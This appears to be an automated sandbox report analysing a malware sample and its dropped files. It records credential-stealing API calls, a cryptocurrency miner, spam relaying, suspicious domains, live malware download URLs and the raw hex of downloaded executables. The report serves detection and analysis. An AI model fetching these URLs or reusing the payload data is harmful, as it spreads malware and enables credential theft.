Source: Yara match	File source: 0000001E.00000000.794034044.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.799468535.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.800342730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.793177750.0000000004880000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.786552941.0000000002450000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.795259479.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.797166721.00000000047D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.793371221.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 75AA.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829C.exe PID: 4264, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://urydiahadyss16.club/raccon.exe	Avira URL Cloud: Label: malware
Source: http://95.215.205.85/eth.exe	Avira URL Cloud: Label: malware
Source: http://privacytoolz123foryou.xyz/downloads/toolspab2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\krpafaoc.exe

Avira: detection malicious, Label: TR/Crypt.EPACK.Gen2

Multi AV Scanner detection for submitted file

Show sources

Source: DWVByMCYL8.exe

ReversingLabs: Detection: 42%

Multi AV Scanner detection for domain / URL

Show sources

Source: http://urydiahadyss16.club/

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\55AD.exe	ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Temp\98D4.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\D322.exe	ReversingLabs: Detection: 22%
Source: C:\Users\user\AppData\Roaming\geedrvu	ReversingLabs: Detection: 42%

Machine Learning detection for sample

Show sources

Source: DWVByMCYL8.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\D322.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\krpafaoc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\829C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\geedrvu	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Joe Sandbox ML: detected

Source: 24.3.6965.exe.4780000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 24.2.6965.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 24.2.6965.exe.2d80e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\D322.exe	Code function: 14_2_011B2F10 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,	14_2_011B2F10
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00420010 __EH_prolog,_strlen,CryptStringToBinaryA,	30_2_00420010
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040C787 __EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,	30_2_0040C787
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040E99E __EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,LocalFree,CryptUnprotectData,LocalFree,	30_2_0040E99E
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040CEA6 __EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,LocalFree,	30_2_0040CEA6
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00429094 CryptAcquireContextA,CryptCreateHash,lstrlenW,CryptHashData,CryptGetHashParam,wsprintfW,lstrcatW,wsprintfW,lstrcatW,CryptDestroyHash,CryptReleaseContext,lstrlenW,CryptUnprotectData,LocalFree,	30_2_00429094
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00429267 lstrlenW,lstrlenW,lstrlenW,CredEnumerateW,CryptUnprotectData,LocalFree,CredFree,	30_2_00429267
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040B7E1 __EH_prolog,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,LocalAlloc,BCryptDecrypt,BCryptCloseAlgorithmProvider,BCryptDestroyKey,	30_2_0040B7E1
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040D952 __EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,LocalFree,CryptUnprotectData,	30_2_0040D952
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00433ABE lstrlenW,lstrlenW,lstrlenW,CryptUnprotectData,LocalFree,lstrlenW,lstrlenW,lstrlenW,wsprintfA,lstrlenA,	30_2_00433ABE
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_021C0260 __EH_prolog,_strlen,CryptStringToBinaryA,	30_2_021C0260

Bitcoin Miner:

Yara detected Xmrig cryptocurrency miner

Show sources

Source: Yara match	File source: 00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp, type: MEMORY

Source: DWVByMCYL8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\AppData\Local\Temp\6965.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: C:\vurugitubeh42_zogitajakuc33 koyo.pdb source: C612.exe, 0000000C.00000000.748360162.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: wextract.pdb source: D322.exe
Source:	Binary string: sMC:\lixakeyavac\luwokolilipire\puhusum55\raca_zelemamefi67.pdb source: 6965.exe, 00000018.00000000.774900669.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: wextract.pdbGCTL source: D322.exe, 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp
Source:	Binary string: C:\gevakahi_lehofugu\lolarovinak80\dodahuci vojetos\y.pdb source: 75AA.exe, 0000001E.00000000.782423204.000000000045E000.00000002.00020000.sdmp
Source:	Binary string: C:\lixakeyavac\luwokolilipire\puhusum55\raca_zelemamefi67.pdb source: 6965.exe, 00000018.00000000.774900669.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\fisahajiluri\negiwelaku\hevowari\suyiyawisefat\wum_zunar.pdb source: DWVByMCYL8.exe, 00000000.00000002.665346705.000000000041E000.00000002.00020000.sdmp, DWVByMCYL8.exe, 00000001.00000000.664508586.000000000041E000.00000002.00020000.sdmp, geedrvu, 0000000A.00000002.748267512.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\zijunad73\bij kazuput\guwufapo t.pdb source: 829C.exe, 00000021.00000000.788253576.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: <C:\gevakahi_lehofugu\lolarovinak80\dodahuci vojetos\y.pdb source: 75AA.exe, 0000001E.00000000.782423204.000000000045E000.00000002.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\75AA.exe

Code function: 30_2_00434D4F __EH_prolog,GetLogicalDriveStringsA,

30_2_00434D4F

Source: C:\Users\user\AppData\Local\Temp\D322.exe	Code function: 14_2_011B2395 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	14_2_011B2395
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0043E07C FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,	30_2_0043E07C
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0045EACD FindFirstFileExW,	30_2_0045EACD

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49724
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49725
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49726
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49727
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49728
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49729
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49731
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49732
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 192.42.116.41:80 -> 192.168.2.4:49733
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.119.27:25 -> 192.168.2.4:49810
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.119.27:25 -> 192.168.2.4:49816
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.119.27:25 -> 192.168.2.4:49870
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.127.27:25 -> 192.168.2.4:49884
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.127.27:25 -> 192.168.2.4:49901
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.119.27:25 -> 192.168.2.4:49922
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.127.27:25 -> 192.168.2.4:49928
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 84.2.43.65:25 -> 192.168.2.4:49806
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.74.33:25 -> 192.168.2.4:50003
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.119.27:25 -> 192.168.2.4:50018
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 108.177.127.27:25 -> 192.168.2.4:50072

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: abclegal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx.lb.btinternet.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: freemail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.cbl.abuseat.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx.videotron.ca
Source: C:\Windows\explorer.exe	Domain query: privacytoolz123foryou.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxa-001d1702.gslb.pphosted.com
Source: C:\Windows\explorer.exe	Domain query: dmunaavank10.store
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patel-legal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vipmail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: btinternet.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: defeatwax.ru
Source: C:\Windows\explorer.exe	Domain query: cytheriata4.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.zen.spamhaus.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: semantech.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: videotron.ca
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.google.com
Source: C:\Windows\explorer.exe	Domain query: nastanizab8.store
Source: C:\Windows\explorer.exe	Domain query: cusanthana12.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: comcast.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.dnsbl.sorbs.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: spriggsfamily.org
Source: C:\Windows\explorer.exe	Domain query: rrelleynaniy6.store
Source: C:\Windows\explorer.exe	Network Connect: 193.56.146.41 120	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: thecrossfamily.org
Source: C:\Windows\explorer.exe	Domain query: onyokandis9.store
Source: C:\Windows\explorer.exe	Domain query: gilmandros11.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx.wp.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: simec-ing.fr
Source: C:\Windows\explorer.exe	Domain query: mail.emailn.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: d138221a.ess.barracudanetworks.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx2.comcast.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cng.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rocketmail.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mta7.am0.yahoodns.net
Source: C:\Windows\explorer.exe	Domain query: blodinetisha15.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fmx.freemail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rathinfotech.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx03.cloud.vadesecure.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx14.mail.magic.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: swbell.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.sbl-xbl.spamhaus.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sympatico.ca
Source: C:\Windows\explorer.exe	Domain query: ggiergionard5.xyz
Source: C:\Windows\explorer.exe	Domain query: willietjeana13.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail.simec-ing.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.in-addr.arpa
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kpmg.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: etna-learning.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.bl.spamcop.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx1.free.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: icloud.com
Source: C:\Windows\explorer.exe	Domain query: danniemusoa7.store
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: elabsinfotech.com
Source: C:\Windows\explorer.exe	Domain query: xandelissane2.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxmta.owm.bell.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: r3dlegal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail01.indamail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tpgpackaging.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wp.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: starling.fr
Source: C:\Windows\explorer.exe	Domain query: ximusokall14.site
Source: C:\Windows\explorer.exe	Domain query: ustiassosale3.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: libertysurf.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: att.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: al-ip4-mx-vip2.prodigy.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp-fw.cng.fr
Source: C:\Windows\explorer.exe	Domain query: urydiahadyss16.club
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxb-00120b03.gslb.pphosted.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: r-smtp3.korea.com
Source: C:\Windows\explorer.exe	Domain query: fazanaharahe1.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aspmx.l.google.com

Tries to download HTTP data from a sinkholed server

Show sources

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:31 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:31 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:31 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:31 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:31 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:32 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:32 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:32 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:32 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKX-Sinkhole: Malware sinkholeContent-Type: text/htmlServer: nginx/0.7.65Date: Tue, 07 Sep 2021 14:02:32 GMTContent-Length: 0

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 9080 -> 49749

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\explorer.exe	DNS query: fazanaharahe1.xyz
Source: C:\Windows\explorer.exe	DNS query: xandelissane2.xyz
Source: C:\Windows\explorer.exe	DNS query: ustiassosale3.xyz
Source: C:\Windows\explorer.exe	DNS query: cytheriata4.xyz
Source: C:\Windows\explorer.exe	DNS query: ggiergionard5.xyz
Source: C:\Windows\explorer.exe	DNS query: privacytoolz123foryou.xyz
Source:	DNS query: fastpool.xyz

Uses ping.exe to check the status of other devices and networks

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping localhost

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: meta.ia replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 41.52.17.84.zen.spamhaus.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lycos.cokr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ryanandkellywedding.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: airjordanoutletshop.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rrelleynaniy6.store replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nastanizab8.store replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ylektrismos.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: meyzo.net replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: danniemusoa7.store replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 41.52.17.84.cbl.abuseat.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: XnreryDtttxrMmEdC.XnreryDtttxrMmEdC replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ideaju.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: onyokandis9.store replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gala-group.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kitooes.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: korea.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: disajioa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 41.52.17.84.dnsbl.sorbs.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 41.52.17.84.bl.spamcop.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 41.52.17.84.sbl-xbl.spamhaus.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: funeemail.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dmunaavank10.store replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dkashf.fgt replaycode: Name error (3)

Source: global traffic	HTTP traffic detected: GET /INSTALLS.exe HTTP/1.1Host: 95.215.205.85Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /eth.exe HTTP/1.1Host: 95.215.205.85Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 07 Sep 2021 14:02:33 GMTContent-Type: application/x-msdos-programContent-Length: 276480Connection: keep-aliveKeep-Alive: timeout=3Last-Modified: Tue, 07 Sep 2021 14:02:02 GMTETag: "43800-5cb6835bcf2d5"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 0e 26 80 14 4a 47 ee 47 4a 47 ee 47 4a 47 ee 47 54 15 7b 47 5b 47 ee 47 54 15 6a 47 70 47 ee 47 54 15 6d 47 3a 47 ee 47 6d 81 95 47 4d 47 ee 47 4a 47 ef 47 c6 47 ee 47 54 15 64 47 4b 47 ee 47 54 15 7a 47 4b 47 ee 47 54 15 7f 47 4b 47 ee 47 52 69 63 68 4a 47 ee 47 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 92 36 be 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ce 01 00 00 2c 74 02 00 00 00 00 20 2c 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 74 02 00 04 00 00 37 c5 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 60 02 00 50 00 00 00 00 10 74 02 d0 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 54 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c1 cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 8c 00 00 00 e0 01 00 00 8e 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 9a 71 02 00 70 02 00 00 0e 01 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 c8 00 00 00 10 74 02 00 ca 00 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Sep 2021 14:02:51 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Tue, 07 Sep 2021 14:02:02 GMTETag: "82c00-5cb6835bc6ea4"Accept-Ranges: bytesContent-Length: 535552Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 0e 26 80 14 4a 47 ee 47 4a 47 ee 47 4a 47 ee 47 54 15 7b 47 5b 47 ee 47 54 15 6a 47 70 47 ee 47 54 15 6d 47 3a 47 ee 47 6d 81 95 47 4d 47 ee 47 4a 47 ef 47 c6 47 ee 47 54 15 64 47 4b 47 ee 47 54 15 7a 47 4b 47 ee 47 54 15 7f 47 4b 47 ee 47 52 69 63 68 4a 47 ee 47 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0b 3a 0d 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ce 01 00 00 20 78 02 00 00 00 00 20 2c 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 78 02 00 04 00 00 c7 12 09 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 60 02 00 50 00 00 00 00 00 78 02 d0 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 54 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c1 cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 8c 00 00 00 e0 01 00 00 8e 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 48 8e 75 02 00 70 02 00 00 02 05 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 c8 00 00 00 00 78 02 00 ca 00 00 00 62 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 